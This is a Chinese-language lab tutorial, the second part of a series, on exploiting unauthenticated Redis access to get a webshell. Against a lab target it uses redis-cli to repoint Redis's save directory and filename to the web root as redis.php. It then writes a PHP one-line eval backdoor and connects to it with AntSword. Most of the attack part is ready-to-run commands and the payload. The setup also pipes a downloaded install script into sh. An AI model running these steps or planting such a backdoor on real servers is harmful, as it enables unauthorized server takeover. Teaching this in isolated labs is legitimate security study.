Redis未授权访问漏洞(二)Webshell提权篇

前言

在学习这篇文章之前，请先通过这篇文章Redis未授权访问漏洞(一)先导篇学习一下基础知识，再来学习这篇文章。

webshell提权

环境准备

攻击机： Centos7 IP:192.168.44.130
靶机：Centos7 IP:192.168.44.129

首先我们需要准备好两台安装Redis服务的机器，安装步骤可以参考先导篇的内容进行安装，然后在靶机上安装phpstudy开启Web服务为我们的Webshell提权提供基础环境。

yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

Centos7中安装phpstudy直接执行这条命令即可

phpstudy -start

开启小皮面板

实战实验

步骤一：通过前期的信息收集，确定Web服务器开放80端口，然后攻击机连接Web服务器开放的6379端口

我们通过攻击机启动Redis客户端去远程连接靶机的6379端口，模仿黑客通过公网的6379端口入侵企业的Web服务器

redis-cli -h 192.168.44.129 -p 6379

连接成功

步骤二：通过各种方法找出网站的根目录

然后我们在通过浏览器去访问靶机的Web服务：
可以看到这里的根目录已经暴露出来了，实战中我们这一步就是要通过各种办法找到网站的根目录

步骤三：修改网站的动态配置，将网站的保存文件路劲修改为网站的根路劲，文件名可以随便写

config set dir /www/admin/localhost_80/wwwroot

config set dbfilename redis.php

步骤四：往数据库中写入一句话木马，然后保存

set x "<?php @eval($_POST[wuya]); ?>"

save

步骤五：通过浏览器确定文件是否写入成功，同时也确定文件路劲：

步骤六：通过中国蚁剑连接